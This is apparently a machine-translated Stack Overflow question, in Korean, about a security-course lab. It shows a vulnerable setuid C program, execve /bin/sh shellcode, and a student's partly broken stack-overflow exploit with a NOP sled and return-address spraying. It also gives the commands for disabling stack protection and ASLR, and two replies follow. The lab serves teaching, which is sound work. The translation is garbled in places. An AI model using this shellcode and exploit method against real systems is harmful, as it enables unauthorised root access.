내가 붙어있는 실험실 지정이 있습니다. 기본적으로, 나는 루트 권한을 가진 셸을 생성하기 위해 버퍼 오버 플로우를 이용해야한다. 별도의 .c 파일 2 개를 사용해야합니다. 여기 stack.c버퍼 오버 플로우 취약점 실험실 문제
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
두 번째입니다 : 다음은 첫 번째입니다 exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
난 단지 두 번째를 수정할 수 있습니다. 여기에 내가 변경 한 내용은 다음과 같습니다가 실제 데이터와 쉘과 함께 "BADFILE"를 생성 않지만
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
//----------------------BEGIN FILL BUFFER----------------------\\
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
난 후,
$ su root
$ Password (enter root password)
# gcc -o stack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
$ gcc -o exploit exploit.c
$./exploit
$./stack
그러나 명령 줄에서 다음을 실행, 쉘 만했다 기본 사용자 권한을가집니다. 내가 "스택을 실행 한 후 때 내가 할 경우 해당,
sysctl -w kernel.randomize_va_space=0
그러나 :
echo 0 > /proc/sys/kernel/randomize_va_space
랩 내가 대신 루트에서 다음을 실행해야 말한다 : 사전에, 나는 루트에서 다음을 실행했다 ","잘못된 명령 "오류가 발생합니다. 누군가 이걸 가지고 나를 도울 수 있습니까?
컴파일 된 스택 파일의 소유 여부를 확인 했습니까? – Michael
http://stackoverflow.com/q/14903394/905902 정확한 복제본 (바보 같은 메인() ...)을 포함합니다. – wildplasser